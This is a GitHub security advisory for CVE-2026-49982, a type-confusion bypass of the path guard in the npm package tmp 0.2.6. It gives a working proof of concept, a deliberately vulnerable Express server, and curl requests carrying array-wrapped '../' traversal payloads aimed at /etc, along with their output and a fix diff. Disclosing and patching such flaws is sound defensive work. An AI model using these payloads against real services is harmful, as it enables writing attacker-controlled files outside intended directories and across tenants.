GHSA-7C78-JF6Q-G5CM
Vulnerability from github – Published: 2026-06-15 16:36 – Updated: 2026-06-15 16:36Summary
The _assertPath guard added to tmp@0.2.6 rejects only string values that contain the substring ... It is bypassed when prefix, postfix, or template is supplied as a non-string value (Array, Buffer, or any object) whose includes('..') returns falsy but whose stringification still contains ../. The value flows through Array.prototype.join/String coercion inside _generateTmpName and path.join(tmpDir, opts.dir, name), producing a final path that escapes tmpdir and creates a file or directory at an attacker-controlled location with the host process's privileges.
This affects any application that forwards untrusted request data (a common pattern is JSON body fields or qs-parsed bracket-array query strings such as ?prefix[]=...) into tmp.file, tmp.fileSync, tmp.dir, tmp.dirSync, tmp.tmpName, or tmp.tmpNameSync without explicit type coercion.
Impact
- Arbitrary file creation outside the intended temporary directory, with the running process's filesystem permissions.
- Directory creation outside the intended tree (via
tmp.dir{,Sync}), which can then host a subsequent symlink swap. - File content that the application writes to the returned descriptor lands at the attacker's chosen path. In multi-tenant services this crosses tenant boundaries; in CI/build systems it can write into source trees, build outputs, or web roots.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L - score 8.1 (High). Network-reachable when the consumer passes request data unchanged.
Affected versions
tmp >= 0.2.6 (the _assertPath guard introduced by commit 7ef2728 / merged in efa4a06f). Earlier releases are vulnerable to the plain string form (already published as a separate advisory) plus this bypass.
Vulnerable code
lib/tmp.js at tag v0.2.6, commit 41f7159:
// lib/tmp.js:533-539
function _assertPath(path) {
if (path.includes("..")) {
throw new Error("Relative value not allowed");
}
return path;
}
// lib/tmp.js:577-580
options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);
options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);
options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);
// lib/tmp.js:515-525 - opts.prefix and opts.postfix are stringified by Array.prototype.join
const name = [
opts.prefix ? opts.prefix : 'tmp',
'-',
process.pid,
'-',
_randomChars(12),
opts.postfix ? '-' + opts.postfix : ''
].join('');
return path.join(tmpDir, opts.dir, name);
Root cause: _assertPath assumes its argument is a string. For an Array argument, Array.prototype.includes('..') checks element equality (so ['../escape'].includes('..') is false); for an arbitrary object, Object.prototype.includes does not exist and a duck-typed includes: () => false defeats the check entirely. In both shapes, the subsequent [...].join('') and path.join(...) coerce the value to its underlying string, which still contains ../.
How untrusted data reaches _assertPath
Two production-realistic shapes that yield a non-string prefix/postfix/template:
- JSON request bodies.
express.json()(and any other JSON body parser) preserves the parsed value's type. A body of{"prefix":["../escape"]}reaches the handler as an Array. qs-style bracket-array query strings. Express 4's defaultqsparser turns?prefix[]=../escapeinto['../escape']. The same applies to any framework usingqs(Fastify, Koa with bodyparser, Hapi via configured parsers, etc.).
The consumer pattern is the natural one - forward req.body.prefix directly into tmp.file({ prefix, tmpdir }) with no developer-side coercion. The 0.2.6 release notes describe the guard as preventing prefix/postfix traversal, so consumers reasonably believe the guard covers the typical input flow.
Proof of concept (string vs array)
poc.js (run after npm install tmp@0.2.6):
const tmp = require('tmp');
const path = require('path');
const fs = require('fs');
const baseDir = fs.mkdtempSync('/tmp/safe-base-');
console.log('[negative control] string "../escape" - must be blocked');
try {
const r = tmp.fileSync({ tmpdir: baseDir, prefix: '../escape' });
console.log(' UNEXPECTED, file at:', r.name);
r.removeCallback();
} catch (e) {
console.log(' BLOCKED as expected:', e.message);
}
console.log('\n[bypass] array ["../escape"] - same effective value, not blocked');
try {
const r = tmp.fileSync({ tmpdir: baseDir, prefix: ['../escape'] });
console.log(' CREATED at:', r.name);
console.log(' ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));
r.removeCallback();
} catch (e) {
console.log(' BLOCKED:', e.message);
}
console.log('\n[bypass] duck-typed object {toString, includes} - also not blocked');
try {
const r = tmp.fileSync({
tmpdir: baseDir,
prefix: { toString: () => '../escape', includes: () => false }
});
console.log(' CREATED at:', r.name);
console.log(' ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));
r.removeCallback();
} catch (e) {
console.log(' BLOCKED:', e.message);
}
Observed output on tmp@0.2.6:
[negative control] string "../escape" - must be blocked
BLOCKED as expected: Relative value not allowed
[bypass] array ["../escape"] - same effective value, not blocked
CREATED at: /private/tmp/escape-78856-D3p4mEWyapSn
ESCAPED: true
[bypass] duck-typed object {toString, includes} - also not blocked
CREATED at: /private/tmp/escape-78856-zP4qXkRm12Lf
ESCAPED: true
End-to-end reproduction (against the deployed npm package)
Install:
mkdir tmp-bypass-poc && cd tmp-bypass-poc
npm init -y
npm install tmp@0.2.6 express@5
victim-server.js - realistic Express app that forwards a JSON body field into tmp.file:
const express = require('express');
const tmp = require('tmp');
const fs = require('fs');
const path = require('path');
const app = express();
app.use(express.json());
const TENANT_BASE = fs.mkdtempSync('/tmp/tenant-base-');
console.log('[victim] Tenant base dir:', TENANT_BASE);
app.post('/upload', (req, res) => {
const userPrefix = req.body.prefix; // attacker-controlled
console.log('[victim] received prefix:', JSON.stringify(userPrefix),
'(type:', Array.isArray(userPrefix) ? 'array' : typeof userPrefix, ')');
tmp.file({ tmpdir: TENANT_BASE, prefix: userPrefix }, (err, filepath, fd, cleanup) => {
if (err) {
console.log('[victim] tmp error:', err.message);
return res.status(400).json({ error: err.message });
}
fs.writeSync(fd, 'attacker-controlled-content');
fs.closeSync(fd);
const escaped = !path.resolve(filepath).startsWith(path.resolve(TENANT_BASE));
console.log('[victim] file created at:', filepath, 'ESCAPED:', escaped);
res.json({ filepath, escaped, tenantBase: TENANT_BASE });
});
});
app.listen(3000, () => console.log('[victim] http://127.0.0.1:3000'));
Run:
node victim-server.js &
Drive three requests from another shell:
echo '=== ATTACK 1: string prefix - caught by 0.2.6 ==='
curl -s -X POST -H 'Content-Type: application/json' \
-d '{"prefix":"../escape-string"}' http://127.0.0.1:3000/upload
echo
echo '=== ATTACK 2: array prefix - bypasses 0.2.6 ==='
curl -s -X POST -H 'Content-Type: application/json' \
-d '{"prefix":["../escape-array"]}' http://127.0.0.1:3000/upload
echo
echo '=== ATTACK 3: multi-level traversal toward /etc ==='
curl -s -X POST -H 'Content-Type: application/json' \
-d '{"prefix":["../../../etc/poc-tmp-bypass"]}' http://127.0.0.1:3000/upload
Captured transcript (verbatim from the test rig):
=== ATTACK 1: string prefix - caught by 0.2.6 ===
{"error":"Relative value not allowed"}
=== ATTACK 2: array prefix - bypasses 0.2.6 ===
{"filepath":"/private/tmp/escape-array-79635-gEFyGCBNFSTh","escaped":true,"tenantBase":"/tmp/tenant-base-3XHwPZ"}
=== ATTACK 3: multi-level traversal toward /etc ===
{"error":"EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'"}
Server log:
[victim] Tenant base dir: /tmp/tenant-base-3XHwPZ
[victim] received prefix: "../escape-string" (type: string )
[victim] tmp error: Relative value not allowed
[victim] received prefix: ["../escape-array"] (type: array )
[victim] file created at: /private/tmp/escape-array-79635-gEFyGCBNFSTh ESCAPED: true
[victim] received prefix: ["../../../etc/poc-tmp-bypass"] (type: array )
[victim] tmp error: EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'
Observations:
- ATTACK 1 (string
../escape-string) is rejected at_assertPath. The 0.2.6 guard works for plain strings. - ATTACK 2 (array
["../escape-array"]) passes the guard and creates a file at/private/tmp/escape-array-..., outside the tenant base/tmp/tenant-base-3XHwPZ. The file content isattacker-controlled-content. Confirmed withls:
$ ls -la /tmp/escape-array-*
-rw-------@ 1 rick wheel 27 May 27 20:25 /tmp/escape-array-79635-gEFyGCBNFSTh
$ cat /tmp/escape-array-*
attacker-controlled-content
$ ls -la /tmp/tenant-base-3XHwPZ/
total 0
drwx------ 2 rick wheel 64 May 27 20:25 .
Tenant base is empty. The escape is complete.
- ATTACK 3 (array
["../../../etc/poc-tmp-bypass"]) reachesfs.openfor/etc/poc-tmp-bypass-.... The open fails only because of POSIX permissions, not because tmp blocked the path. On a process running as root, or against any world-writable target directory, this would succeed.
Negative control with patched build
Applying the suggested fix below and re-running ATTACK 2:
=== ATTACK 2: array prefix - after fix ===
{"error":"prefix option must be a string, got \"object\"."}
The patched build rejects non-string prefix/postfix/template with a clear type error before the path is constructed.
Suggested fix
Patch _assertPath to require a string argument. The check value.includes('..') is sound only over strings; any non-string with a custom or array-element includes semantics bypasses it.
--- a/lib/tmp.js
+++ b/lib/tmp.js
@@ -528,11 +528,14 @@ function _generateTmpName(opts) {
/**
- * Check the prefix and postfix options
+ * Check the prefix, postfix, and template options
*
* @private
*/
-function _assertPath(path) {
- if (path.includes("..")) {
+function _assertPath(option, value) {
+ if (typeof value !== 'string') {
+ throw new Error(`${option} option must be a string, got "${typeof value}".`);
+ }
+ if (value.includes("..")) {
throw new Error("Relative value not allowed");
}
- return path;
+ return value;
}
@@ -575,9 +578,9 @@ function _assertOptionsBase(options) {
options.unsafeCleanup = !!options.unsafeCleanup;
// for completeness' sake only, also keep (multiple) blanks if the user, purportedly sane, requests us to
- options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);
- options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);
- options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);
+ options.prefix = _isUndefined(options.prefix) ? '' : _assertPath('prefix', options.prefix);
+ options.postfix = _isUndefined(options.postfix) ? '' : _assertPath('postfix', options.postfix);
+ options.template = _isUndefined(options.template) ? undefined : _assertPath('template', options.template);
}
Defence-in-depth, recommended in addition to the type check: validate the final resolved path against tmpdir after _generateTmpName, similar to what _getRelativePath already does for dir and template. That way any future bypass through a different vector (e.g., a future Node path change, or a different option) does not exit tmpdir.
Fix PR
https://github.com/raszi/node-tmp-ghsa-7c78-jf6q-g5cm/pull/1
Credit
Reported by tonghuaroot.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "tmp"
},
"ranges": [
{
"events": [
{
"introduced": "0.2.6"
},
{
"fixed": "0.2.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49982"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T16:36:46Z",
"nvd_published_at": "2026-06-11T17:16:35Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe `_assertPath` guard added to `tmp@0.2.6` rejects only string values that contain the substring `..`. It is bypassed when `prefix`, `postfix`, or `template` is supplied as a non-string value (Array, Buffer, or any object) whose `includes(\u0027..\u0027)` returns falsy but whose stringification still contains `../`. The value flows through `Array.prototype.join`/`String` coercion inside `_generateTmpName` and `path.join(tmpDir, opts.dir, name)`, producing a final path that escapes `tmpdir` and creates a file or directory at an attacker-controlled location with the host process\u0027s privileges.\n\nThis affects any application that forwards untrusted request data (a common pattern is JSON body fields or `qs`-parsed bracket-array query strings such as `?prefix[]=...`) into `tmp.file`, `tmp.fileSync`, `tmp.dir`, `tmp.dirSync`, `tmp.tmpName`, or `tmp.tmpNameSync` without explicit type coercion.\n\n### Impact\n\n- Arbitrary file creation outside the intended temporary directory, with the running process\u0027s filesystem permissions.\n- Directory creation outside the intended tree (via `tmp.dir{,Sync}`), which can then host a subsequent symlink swap.\n- File content that the application writes to the returned descriptor lands at the attacker\u0027s chosen path. In multi-tenant services this crosses tenant boundaries; in CI/build systems it can write into source trees, build outputs, or web roots.\n\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L - score 8.1 (High). Network-reachable when the consumer passes request data unchanged.\n\n### Affected versions\n\n`tmp` \u003e= 0.2.6 (the `_assertPath` guard introduced by commit 7ef2728 / merged in efa4a06f). Earlier releases are vulnerable to the plain string form (already published as a separate advisory) plus this bypass.\n\n### Vulnerable code\n\n`lib/tmp.js` at tag `v0.2.6`, commit 41f7159:\n\n```javascript\n// lib/tmp.js:533-539\nfunction _assertPath(path) {\n if (path.includes(\"..\")) {\n throw new Error(\"Relative value not allowed\");\n }\n\n return path;\n}\n```\n\n```javascript\n// lib/tmp.js:577-580\noptions.prefix = _isUndefined(options.prefix) ? \u0027\u0027 : _assertPath(options.prefix);\noptions.postfix = _isUndefined(options.postfix) ? \u0027\u0027 : _assertPath(options.postfix);\noptions.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);\n```\n\n```javascript\n// lib/tmp.js:515-525 - opts.prefix and opts.postfix are stringified by Array.prototype.join\nconst name = [\n opts.prefix ? opts.prefix : \u0027tmp\u0027,\n \u0027-\u0027,\n process.pid,\n \u0027-\u0027,\n _randomChars(12),\n opts.postfix ? \u0027-\u0027 + opts.postfix : \u0027\u0027\n].join(\u0027\u0027);\n\nreturn path.join(tmpDir, opts.dir, name);\n```\n\nRoot cause: `_assertPath` assumes its argument is a string. For an `Array` argument, `Array.prototype.includes(\u0027..\u0027)` checks element equality (so `[\u0027../escape\u0027].includes(\u0027..\u0027)` is `false`); for an arbitrary object, `Object.prototype.includes` does not exist and a duck-typed `includes: () =\u003e false` defeats the check entirely. In both shapes, the subsequent `[...].join(\u0027\u0027)` and `path.join(...)` coerce the value to its underlying string, which still contains `../`.\n\n### How untrusted data reaches `_assertPath`\n\nTwo production-realistic shapes that yield a non-string `prefix`/`postfix`/`template`:\n\n1. JSON request bodies. `express.json()` (and any other JSON body parser) preserves the parsed value\u0027s type. A body of `{\"prefix\":[\"../escape\"]}` reaches the handler as an Array.\n2. `qs`-style bracket-array query strings. Express 4\u0027s default `qs` parser turns `?prefix[]=../escape` into `[\u0027../escape\u0027]`. The same applies to any framework using `qs` (Fastify, Koa with bodyparser, Hapi via configured parsers, etc.).\n\nThe consumer pattern is the natural one - forward `req.body.prefix` directly into `tmp.file({ prefix, tmpdir })` with no developer-side coercion. The 0.2.6 release notes describe the guard as preventing prefix/postfix traversal, so consumers reasonably believe the guard covers the typical input flow.\n\n### Proof of concept (string vs array)\n\n`poc.js` (run after `npm install tmp@0.2.6`):\n\n```javascript\nconst tmp = require(\u0027tmp\u0027);\nconst path = require(\u0027path\u0027);\nconst fs = require(\u0027fs\u0027);\n\nconst baseDir = fs.mkdtempSync(\u0027/tmp/safe-base-\u0027);\n\nconsole.log(\u0027[negative control] string \"../escape\" - must be blocked\u0027);\ntry {\n const r = tmp.fileSync({ tmpdir: baseDir, prefix: \u0027../escape\u0027 });\n console.log(\u0027 UNEXPECTED, file at:\u0027, r.name);\n r.removeCallback();\n} catch (e) {\n console.log(\u0027 BLOCKED as expected:\u0027, e.message);\n}\n\nconsole.log(\u0027\\n[bypass] array [\"../escape\"] - same effective value, not blocked\u0027);\ntry {\n const r = tmp.fileSync({ tmpdir: baseDir, prefix: [\u0027../escape\u0027] });\n console.log(\u0027 CREATED at:\u0027, r.name);\n console.log(\u0027 ESCAPED:\u0027, !path.resolve(r.name).startsWith(path.resolve(baseDir)));\n r.removeCallback();\n} catch (e) {\n console.log(\u0027 BLOCKED:\u0027, e.message);\n}\n\nconsole.log(\u0027\\n[bypass] duck-typed object {toString, includes} - also not blocked\u0027);\ntry {\n const r = tmp.fileSync({\n tmpdir: baseDir,\n prefix: { toString: () =\u003e \u0027../escape\u0027, includes: () =\u003e false }\n });\n console.log(\u0027 CREATED at:\u0027, r.name);\n console.log(\u0027 ESCAPED:\u0027, !path.resolve(r.name).startsWith(path.resolve(baseDir)));\n r.removeCallback();\n} catch (e) {\n console.log(\u0027 BLOCKED:\u0027, e.message);\n}\n```\n\nObserved output on `tmp@0.2.6`:\n\n```text\n[negative control] string \"../escape\" - must be blocked\n BLOCKED as expected: Relative value not allowed\n\n[bypass] array [\"../escape\"] - same effective value, not blocked\n CREATED at: /private/tmp/escape-78856-D3p4mEWyapSn\n ESCAPED: true\n\n[bypass] duck-typed object {toString, includes} - also not blocked\n CREATED at: /private/tmp/escape-78856-zP4qXkRm12Lf\n ESCAPED: true\n```\n\n### End-to-end reproduction (against the deployed npm package)\n\nInstall:\n\n```bash\nmkdir tmp-bypass-poc \u0026\u0026 cd tmp-bypass-poc\nnpm init -y\nnpm install tmp@0.2.6 express@5\n```\n\n`victim-server.js` - realistic Express app that forwards a JSON body field into `tmp.file`:\n\n```javascript\nconst express = require(\u0027express\u0027);\nconst tmp = require(\u0027tmp\u0027);\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\n\nconst app = express();\napp.use(express.json());\n\nconst TENANT_BASE = fs.mkdtempSync(\u0027/tmp/tenant-base-\u0027);\nconsole.log(\u0027[victim] Tenant base dir:\u0027, TENANT_BASE);\n\napp.post(\u0027/upload\u0027, (req, res) =\u003e {\n const userPrefix = req.body.prefix; // attacker-controlled\n console.log(\u0027[victim] received prefix:\u0027, JSON.stringify(userPrefix),\n \u0027(type:\u0027, Array.isArray(userPrefix) ? \u0027array\u0027 : typeof userPrefix, \u0027)\u0027);\n\n tmp.file({ tmpdir: TENANT_BASE, prefix: userPrefix }, (err, filepath, fd, cleanup) =\u003e {\n if (err) {\n console.log(\u0027[victim] tmp error:\u0027, err.message);\n return res.status(400).json({ error: err.message });\n }\n fs.writeSync(fd, \u0027attacker-controlled-content\u0027);\n fs.closeSync(fd);\n const escaped = !path.resolve(filepath).startsWith(path.resolve(TENANT_BASE));\n console.log(\u0027[victim] file created at:\u0027, filepath, \u0027ESCAPED:\u0027, escaped);\n res.json({ filepath, escaped, tenantBase: TENANT_BASE });\n });\n});\n\napp.listen(3000, () =\u003e console.log(\u0027[victim] http://127.0.0.1:3000\u0027));\n```\n\nRun:\n\n```bash\nnode victim-server.js \u0026\n```\n\nDrive three requests from another shell:\n\n```bash\necho \u0027=== ATTACK 1: string prefix - caught by 0.2.6 ===\u0027\ncurl -s -X POST -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"prefix\":\"../escape-string\"}\u0027 http://127.0.0.1:3000/upload\n\necho\necho \u0027=== ATTACK 2: array prefix - bypasses 0.2.6 ===\u0027\ncurl -s -X POST -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"prefix\":[\"../escape-array\"]}\u0027 http://127.0.0.1:3000/upload\n\necho\necho \u0027=== ATTACK 3: multi-level traversal toward /etc ===\u0027\ncurl -s -X POST -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"prefix\":[\"../../../etc/poc-tmp-bypass\"]}\u0027 http://127.0.0.1:3000/upload\n```\n\nCaptured transcript (verbatim from the test rig):\n\n```text\n=== ATTACK 1: string prefix - caught by 0.2.6 ===\n{\"error\":\"Relative value not allowed\"}\n\n=== ATTACK 2: array prefix - bypasses 0.2.6 ===\n{\"filepath\":\"/private/tmp/escape-array-79635-gEFyGCBNFSTh\",\"escaped\":true,\"tenantBase\":\"/tmp/tenant-base-3XHwPZ\"}\n\n=== ATTACK 3: multi-level traversal toward /etc ===\n{\"error\":\"EACCES: permission denied, open \u0027/etc/poc-tmp-bypass-79635-PEIABptX8JGH\u0027\"}\n```\n\nServer log:\n\n```text\n[victim] Tenant base dir: /tmp/tenant-base-3XHwPZ\n[victim] received prefix: \"../escape-string\" (type: string )\n[victim] tmp error: Relative value not allowed\n[victim] received prefix: [\"../escape-array\"] (type: array )\n[victim] file created at: /private/tmp/escape-array-79635-gEFyGCBNFSTh ESCAPED: true\n[victim] received prefix: [\"../../../etc/poc-tmp-bypass\"] (type: array )\n[victim] tmp error: EACCES: permission denied, open \u0027/etc/poc-tmp-bypass-79635-PEIABptX8JGH\u0027\n```\n\nObservations:\n\n- ATTACK 1 (string `../escape-string`) is rejected at `_assertPath`. The 0.2.6 guard works for plain strings.\n- ATTACK 2 (array `[\"../escape-array\"]`) passes the guard and creates a file at `/private/tmp/escape-array-...`, outside the tenant base `/tmp/tenant-base-3XHwPZ`. The file content is `attacker-controlled-content`. Confirmed with `ls`:\n\n```bash\n$ ls -la /tmp/escape-array-*\n-rw-------@ 1 rick wheel 27 May 27 20:25 /tmp/escape-array-79635-gEFyGCBNFSTh\n$ cat /tmp/escape-array-*\nattacker-controlled-content\n$ ls -la /tmp/tenant-base-3XHwPZ/\ntotal 0\ndrwx------ 2 rick wheel 64 May 27 20:25 .\n```\n\n Tenant base is empty. The escape is complete.\n\n- ATTACK 3 (array `[\"../../../etc/poc-tmp-bypass\"]`) reaches `fs.open` for `/etc/poc-tmp-bypass-...`. The open fails only because of POSIX permissions, not because tmp blocked the path. On a process running as root, or against any world-writable target directory, this would succeed.\n\n### Negative control with patched build\n\nApplying the suggested fix below and re-running ATTACK 2:\n\n```text\n=== ATTACK 2: array prefix - after fix ===\n{\"error\":\"prefix option must be a string, got \\\"object\\\".\"}\n```\n\nThe patched build rejects non-string `prefix`/`postfix`/`template` with a clear type error before the path is constructed.\n\n### Suggested fix\n\nPatch `_assertPath` to require a string argument. The check `value.includes(\u0027..\u0027)` is sound only over strings; any non-string with a custom or array-element `includes` semantics bypasses it.\n\n```diff\n--- a/lib/tmp.js\n+++ b/lib/tmp.js\n@@ -528,11 +528,14 @@ function _generateTmpName(opts) {\n /**\n- * Check the prefix and postfix options\n+ * Check the prefix, postfix, and template options\n *\n * @private\n */\n-function _assertPath(path) {\n- if (path.includes(\"..\")) {\n+function _assertPath(option, value) {\n+ if (typeof value !== \u0027string\u0027) {\n+ throw new Error(`${option} option must be a string, got \"${typeof value}\".`);\n+ }\n+ if (value.includes(\"..\")) {\n throw new Error(\"Relative value not allowed\");\n }\n\n- return path;\n+ return value;\n }\n@@ -575,9 +578,9 @@ function _assertOptionsBase(options) {\n options.unsafeCleanup = !!options.unsafeCleanup;\n\n // for completeness\u0027 sake only, also keep (multiple) blanks if the user, purportedly sane, requests us to\n- options.prefix = _isUndefined(options.prefix) ? \u0027\u0027 : _assertPath(options.prefix);\n- options.postfix = _isUndefined(options.postfix) ? \u0027\u0027 : _assertPath(options.postfix);\n- options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);\n+ options.prefix = _isUndefined(options.prefix) ? \u0027\u0027 : _assertPath(\u0027prefix\u0027, options.prefix);\n+ options.postfix = _isUndefined(options.postfix) ? \u0027\u0027 : _assertPath(\u0027postfix\u0027, options.postfix);\n+ options.template = _isUndefined(options.template) ? undefined : _assertPath(\u0027template\u0027, options.template);\n }\n```\n\nDefence-in-depth, recommended in addition to the type check: validate the final resolved path against `tmpdir` after `_generateTmpName`, similar to what `_getRelativePath` already does for `dir` and `template`. That way any future bypass through a different vector (e.g., a future Node `path` change, or a different option) does not exit `tmpdir`.\n\n### Fix PR\n\nhttps://github.com/raszi/node-tmp-ghsa-7c78-jf6q-g5cm/pull/1\n\n### Credit\n\nReported by tonghuaroot.",
"id": "GHSA-7c78-jf6q-g5cm",
"modified": "2026-06-15T16:36:46Z",
"published": "2026-06-15T16:36:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/raszi/node-tmp/security/advisories/GHSA-7c78-jf6q-g5cm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49982"
},
{
"type": "PACKAGE",
"url": "https://github.com/raszi/node-tmp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "tmp: Type-confusion bypass of _assertPath allows path traversal via non-string prefix/postfix/template"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.